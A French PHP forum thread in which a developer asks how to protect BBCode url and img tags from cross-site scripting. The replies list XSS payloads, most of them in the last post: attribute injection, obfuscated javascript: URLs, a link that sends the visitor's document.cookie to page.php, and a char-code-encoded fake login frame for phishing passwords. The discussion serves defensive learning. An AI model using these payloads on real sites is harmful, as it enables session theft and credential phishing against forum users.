IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Langage PHP Discussion :

[Sécurité] Sécurité sur le parse d'URL et d'images


Sujet :

Langage PHP

  1. #1
    Membre éclairé
    Avatar de genova
    Profil pro
    Inscrit en
    Septembre 2004
    Messages
    487
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2004
    Messages : 487
    Points : 790
    Points
    790
    Par défaut [Sécurité] Sécurité sur le parse d'URL et d'images
    Bonjour,
    pour le forum que je développe j'aurais besoin d'avoir une sécurité optimale sur le systèmes de BBcode au niveau des URL et des images.

    J'aimerai savoir quels sont les risques à éviter, les pièges et ce qu'il faut globalement suivre comme démarche.

    Par exemple comment éviter les failles de cross-site scripting au niveau des URL ? Est il possible pour un utilisateurs malicieux d'utiliser du javascript dans ses images de façon a créer des failles de cross-site scripting ? Si oui, comment les éviter ?

    Merci d'avance pour les info
    Testez le forum Fire Soft Board, un forum libre, gratuit et français.

    Système de template de phpBB - Lisez la FAQ PHP avant toute question si vous débuttez en PHP.

  2. #2
    Expert éminent Avatar de Mr N.
    Profil pro
    Inscrit en
    Septembre 2004
    Messages
    5 418
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2004
    Messages : 5 418
    Points : 6 449
    Points
    6 449
    Par défaut
    Un exemple que je vois :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    [img]url_ici[/img]
     
    =>
     
    <img src="url_ici" />
     
    =>
     
    url_ic == 'real_image.png" onmousover="alert(\'XSS !\');'
     
    =>
     
    <img src="real_image.png" onmousover="alert('XSS !');" />

  3. #3
    Expert confirmé
    Avatar de siddh
    Inscrit en
    Novembre 2005
    Messages
    3 868
    Détails du profil
    Informations personnelles :
    Âge : 48

    Informations forums :
    Inscription : Novembre 2005
    Messages : 3 868
    Points : 5 011
    Points
    5 011
    Par défaut
    ce vicelard !
    Alunissage : Procédé technique consistant à déposer des imbéciles sur un rêve enfantin.

    Cours | FAQ | Sources Javascript
    Cours | FAQ | Sources PHP
    Mes Articles

  4. #4
    Membre éclairé
    Avatar de genova
    Profil pro
    Inscrit en
    Septembre 2004
    Messages
    487
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2004
    Messages : 487
    Points : 790
    Points
    790
    Par défaut
    Disons que ma chaine est protégé avant le parse des BBcode par un htmlspecialchars, ce qui devrait éviter les failles XSS basiques de ce style non ? (Je viens de tester le code malicieux n'est pas executé, voici la source générée :
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    <img src="bijour &quot; onmouseover=alert('test')" border="0" alt="bijour &quot; onmouseover=alert('test')"  />
    en entrant le code
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [img]bijour " onmouseover=alert('test')[/img]
    La principale question que je me posais c'est s'il était possible de modifier le contenu d'une image. par exemple une image .png, est il possible d'y mettre du javascript dedans ?

    j'avais entendu parler de ce genre de faille, ça existe ou bien il s'agissait d'un bug de navigateur depuis longtemps réparé ?
    Testez le forum Fire Soft Board, un forum libre, gratuit et français.

    Système de template de phpBB - Lisez la FAQ PHP avant toute question si vous débuttez en PHP.

  5. #5
    Expert éminent Avatar de Mr N.
    Profil pro
    Inscrit en
    Septembre 2004
    Messages
    5 418
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2004
    Messages : 5 418
    Points : 6 449
    Points
    6 449
    Par défaut
    Si tu fais htmlspecialchars ca devrait être bon...

    pour le javascript dans l'image j'aurais tendance à dire que c'est pas possible, les navigateurs récents sachant reconnaitre une image valide d'une bidon...

  6. #6
    Membre éclairé
    Avatar de genova
    Profil pro
    Inscrit en
    Septembre 2004
    Messages
    487
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2004
    Messages : 487
    Points : 790
    Points
    790
    Par défaut
    Citation Envoyé par Mr N.
    Si tu fais htmlspecialchars ca devrait être bon...

    pour le javascript dans l'image j'aurais tendance à dire que c'est pas possible, les navigateurs récents sachant reconnaitre une image valide d'une bidon...
    Merci pour la réponse ^^

    Comment se fait il dans ce cas que phpBB soit truffé de failles XSS (dont une qui est toujours d'actualitée et qui permet d'executer du javascript dans les messages) ?
    Testez le forum Fire Soft Board, un forum libre, gratuit et français.

    Système de template de phpBB - Lisez la FAQ PHP avant toute question si vous débuttez en PHP.

  7. #7
    Expert éminent Avatar de Mr N.
    Profil pro
    Inscrit en
    Septembre 2004
    Messages
    5 418
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2004
    Messages : 5 418
    Points : 6 449
    Points
    6 449
    Par défaut
    C'est pas parcequ'un produit est largement utilisé et populaire qu'il est blindé. Regarde Windaube ^^

  8. #8
    Membre confirmé Avatar de KibitO
    Homme Profil pro
    Développeur Web
    Inscrit en
    Septembre 2004
    Messages
    616
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Âge : 41
    Localisation : France, Rhône (Rhône Alpes)

    Informations professionnelles :
    Activité : Développeur Web

    Informations forums :
    Inscription : Septembre 2004
    Messages : 616
    Points : 606
    Points
    606
    Par défaut
    Et pourtant tu l'utilises, je me trompe ?

  9. #9
    Expert éminent Avatar de Mr N.
    Profil pro
    Inscrit en
    Septembre 2004
    Messages
    5 418
    Détails du profil
    Informations personnelles :
    Localisation : France

    Informations forums :
    Inscription : Septembre 2004
    Messages : 5 418
    Points : 6 449
    Points
    6 449
    Par défaut
    [hs]
    Moi ?
    Je n'utilise pas phpBB, je suis sous Fedora au boulot et j'avoue, j'utilise Windaube à la maison... Mais derrière un routeur, avec un antivirus, en utilisant plus de mailer, je me dis que je suis plus à l'abri ^^
    [/hs]

  10. #10
    En attente de confirmation mail
    Profil pro
    Inscrit en
    Décembre 2005
    Messages
    11
    Détails du profil
    Informations personnelles :
    Âge : 36
    Localisation : France

    Informations forums :
    Inscription : Décembre 2005
    Messages : 11
    Points : 13
    Points
    13
    Par défaut
    bah.. tu peux essayer



    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [url]  javascript:alert(String.fromCharCode(88,83,83))[/url]
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [img]  javascript:alert(String.fromCharCode(88,83,83));[/img]
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [img]javascript:alert(&quot;XSS&quot;)[/img]
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [img]jAvaScRiPt:alert('XSS')[/img]
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [img]jav&#x0D;ascript:alert('XSS');[/img]
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [url=javascript:document.location=String.fromCharCode(112,97,103,101,46,112,104,112,63,99,111,111,107,105,101,61)+document.cookie]Super image cool!!![/url]

    Il y avait aussi une faille qui exploitait la balice img de phpBB afin de récupérer l'id de la session de l'utilisateur. Je m'en souvien plus très bien, mais il réussissait à faire acroire qu'il s'agissait d'une image comme ceci:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [img]page.php?f=.jpg"[/img]

    Il y en a probablement beaucoup(dont des combinaisons de ce que je vien de dire). La grande majorité des méthodes que j'ai exposer avec la balice image sont seulement exploitables avec IE(eh oui .. on se demande pourquoi...).

    Et.. remarquez que plusieurs techniques n'utilise pas de ' ni de "



    Edit:

    J'ai penser à une autre sorte d'attaque en laissant aller mon imagination:

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    [url=javascript:document.write(String.fromCharCode(60,104,116,109,108,62,60,104,101,97,100,62,60,116,105,116,108,101,62,76,101,32,115,105,116,101,32,119,101,98,99,111,117,114,97,110,116,60,47,116,105,116,108,101,62,60,47,104,101,97,100,62,60,102,114,97,109,101,115,101,116,32,114,111,119,115,61,34,48,44,42,34,32,98,111,114,100,101,114,61,34,48,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,110,111,34,32,102,114,97,109,101,115,112,97,99,105,110,103,61,34,48,34,62,60,102,114,97,109,101,32,110,97,109,101,61,34,116,111,112,70,114,97,109,101,34,32,115,114,99,61,34,109,97,112,46,112,104,112,34,32,110,111,114,101,115,105,122,101,61,34,110,111,114,101,115,105,122,101,34,32,115,99,114,111,108,108,105,110,103,61,34,110,111,34,32,47,62,60,102,114,97,109,101,32,110,97,109,101,61,34,109,97,105,110,70,114,97,109,101,34,32,115,114,99,61,34,112,97,103,101,46,112,104,112,63,99,111,111,107,105,101,61,104,97,104,101,105,110,114,112,111,34,32,47,62,60,110,111,102,114,97,109,101,115,62,60,98,111,100,121,62,60,47,98,111,100,121,62,60,47,110,111,102,114,97,109,101,115,62,60,47,102,114,97,109,101,115,101,116,62,60,47,104,116,109,108,62))]Modifier vos informations[/url]
    Explication: Supposons un membre X qui veux obtenir le password d'un autre utilisateur. Il écrit un post sur le forum en disait qu'il a entendu parler d'un bogue et qu'il conseile le monde d'aller changer leur prénom le plus rapidement possible. En plus de cela, il est gentil, il offre le lien vers la modifications des informations. Ce lien crée une frame afin de garder le lien d'origine et ensuite, il met dans le contenu, une page appartenant à l'utilisateur: reproduction exacte du site web. Demande du password pour modifier ses informations. Et ensuiste, par un tour de passe passe en PHP, il redirige l'utilisateur vers la vraie page qui modifie les informations(en simulant un POST). Bien sûr, il récupére le password et les infos en même temps. Woouah! trop d'imagination ;P

Discussions similaires

  1. [Sécurité] aide sur le md5()
    Par carmen256 dans le forum Langage
    Réponses: 4
    Dernier message: 06/04/2006, 15h30
  2. [Sécurité] PHP sur IIS Y'a t'il des risques ?
    Par Davboc dans le forum Langage
    Réponses: 4
    Dernier message: 05/04/2006, 15h13
  3. [Sécurité] erreur sur .htaccess
    Par kcizth dans le forum Langage
    Réponses: 13
    Dernier message: 13/03/2006, 11h43
  4. Réponses: 1
    Dernier message: 11/03/2006, 21h19
  5. [Sécurité] Question sur les sessions
    Par Seth77 dans le forum Langage
    Réponses: 20
    Dernier message: 25/01/2006, 12h34

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo